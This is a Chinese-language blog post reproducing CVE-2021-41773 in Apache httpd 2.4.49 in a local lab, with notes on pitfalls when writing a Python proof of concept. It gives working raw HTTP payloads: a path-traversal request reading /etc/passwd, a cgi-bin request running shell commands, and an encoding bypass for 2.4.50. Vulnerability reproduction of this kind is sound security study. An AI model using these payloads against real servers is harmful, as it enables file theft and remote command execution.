CVE-2021-41773 Apache Httpd Server 漏洞復現


CVE-2021-41773 Apache Httpd Server 漏洞復現

0x00 寫在前面

很久沒寫漏洞復現的文章了,水一篇。

0x01 漏洞簡介

是目錄穿越文件讀取漏洞,漏洞只影響2.4.49,2.4.50不完全修復可繞過,如果開啟mod_cgi可RCE

詳情可參考下面鏈接

https://twitter.com/h4x0r_dz/status/1445384417908862977?s=20

https://zh-cn.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited?tns_redirect=true

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773

https://mp.weixin.qq.com/s?__biz=MzkxNDEwMDA4Mw==&mid=2247488695&idx=1&sn=93cc8e0b903e073b2ec5f56baae05c8c&chksm=c172ceabf60547bd7084dbc30283b124de404086adcac29cac09c261682af6207e83914f8971&mpshare=1&scene=23&srcid=1011i7EQtc88ryHEEnWw9Ib1&sharer_sharetime=1633916866195&sharer_shareid=89d9b45c74ce6f3b746404e9dd2f124d%23rd

0x02 漏洞復現

這里用的https://github.com/blasty/CVE-2021-41773項目起的環境

文件讀取

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080

RCE

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: text/plain
Content-Length: 8

echo; id

2.4.50版本暫未復現,payload中目錄穿越部分換為.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65即可

0x03 poc編寫

主要記錄下寫poc時踩的坑,本人用的python3.9.6 一開始用的requests庫,但是發現requests庫在發送http請求時會自己先對url進行處理,而不會直接將我們在腳本中寫好的url直接發過去。

部分源碼如下:

報錯如下:

而burp發過去就是很正常的,最后查看日志時發現了問題

error.log:

access.log

結果:burp傳過去在log里看是有url編碼的,requests過去的在發送前已經先做了一次urldecode

這里沒有debug跟源碼,用urllib.request作為請求庫就解決了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM